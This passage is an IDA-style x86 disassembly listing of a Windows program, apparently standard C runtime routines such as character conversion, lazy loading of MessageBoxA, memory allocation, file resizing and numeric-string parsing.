		add	eax, [ebp+arg_28]
		mov	dword_4366F0, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4366F0, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------


loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_4366F0, eax


loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_4366EC, ecx


loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_4366E8, ebx


loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx


loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax


loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_4CDA48, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax


loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_433C70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_433E7C
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4CDA58
		call	near ptr 2640000h
		nop
		test	eax, eax
		mov	eax, dword_433E7C
		jnz	short loc_420EBD


loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD


loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB


loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax


loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax


loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4CEF01[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_433C7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------


loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax


loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------


loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4CDC7C, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4CDC7C, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4CDC80, eax
		call	esi
		mov	dword_4CDC84, eax


loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_4CDC80
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_4CDC84
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax


loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4CDC7C


loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi


loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4CF020
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------


loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_435EB4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192


loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C


loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_4CDA14, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------


loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]


loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi


loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------


loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7


loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4CECC0, esi
		jle	short loc_4211EC


loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi


loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_4CDCB0
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_4CDCB0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_4211A8


loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4CEDE0
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi


loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_4CD9B8, 5
		jnz	short loc_4212C3
		mov	dword_4CD9B4, 0Dh


loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh


loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------


loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		call	near ptr 25D0000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_4CD9B4, 0Dh
		nop
		call	near ptr 267036Ah
		mov	dword_4CD9B8, eax


loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_4CD9B4, 9


loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh


loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350


loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax


loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]


loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]


loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax


loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi


loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------


loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h


loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------


loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C


loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi


loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump


loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553


loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------


loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_433E80
		jnz	short loc_421562


loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------


loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C


loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_433E80
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B


loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B


loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C


loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_433E80
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0


loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3


loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_433E7C, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------


loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------


loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]


loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------


loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_433E80
		jnz	short loc_4216CD


loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686


loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------


loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_433E7C, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------


loc_42169F:				; CODE XREF: sub_4214D8+1B4j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4216AD:				; CODE XREF: sub_4214D8+1C5j
		test	eax, eax
		jz	short loc_4216CD
		cmp	[ebp+var_4], 19h
		jnb	short loc_4216C8
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


